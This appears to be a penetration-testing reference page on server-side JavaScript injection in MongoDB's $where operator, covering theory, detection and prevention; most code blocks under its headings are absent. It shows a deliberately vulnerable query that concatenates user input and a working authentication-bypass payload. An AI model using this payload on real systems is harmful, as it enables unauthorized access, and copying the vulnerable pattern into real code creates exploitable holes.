Server-Side JavaScript Injection
Server-Side JavaScript Injection (SSJI) is a unique type of NoSQL injection where an attacker can execute arbitrary JavaScript in the database context using the $where operator.
Theory
MongoDB's $where operator allows JavaScript expressions to be evaluated as query conditions. When user input is unsanitized, this can lead to JavaScript injection.
Vulnerable Code Example
db.users.find({
$where: 'this.username === "' + req.body['username'] + '" && this.password === "' + req.body['password'] + '"'
});Authentication Bypass
Basic Bypass Payload
Use JavaScript logical operators to always return true:
// Payload: " || true || ""=="
db.users.find({
$where: 'this.username === "" || true || ""=="" && this.password === "<password>"'
});URL-Encoded Payload
Blind Data Extraction
Character-by-Character Extraction
Use JavaScript match() function with regex patterns:
Test first character:
Continue extraction:
Complete Extraction Process
Verify injection works:
Extract first character:
Continue for each position:
Advanced JavaScript Payloads
Multiple Field Extraction
Conditional Logic
Function Calls
Automation Script
Common JavaScript Operators
Logical Operators
||(OR) - Always true if one side is true&&(AND) - Both sides must be true!(NOT) - Negation
Comparison Operators
===(Strict equality)!==(Strict inequality)==(Loose equality)!=(Loose inequality)
String Methods
match()- Regex matchingindexOf()- Find substring positionstartsWith()- Check prefixendsWith()- Check suffixlength- String length
Detection Methods
Error-Based Detection
Time-Based Detection
Boolean-Based Detection
Prevention
Input Validation
Alternative Queries
Parameterized Queries
Key Points
Unique to NoSQL: JavaScript injection is specific to MongoDB's
$whereoperatorFlexible payloads: Can use any valid JavaScript expressions
Multiple attack vectors: Authentication bypass, data extraction, information disclosure
Automation friendly: Easy to script character-by-character extraction
Detection methods: Error-based, time-based, boolean-based
Common Vulnerable Patterns
User input directly concatenated into
$whereexpressionsLack of input validation on JavaScript operators
Using
$wherewhen standard operators would sufficeMissing output encoding in error messages
Last updated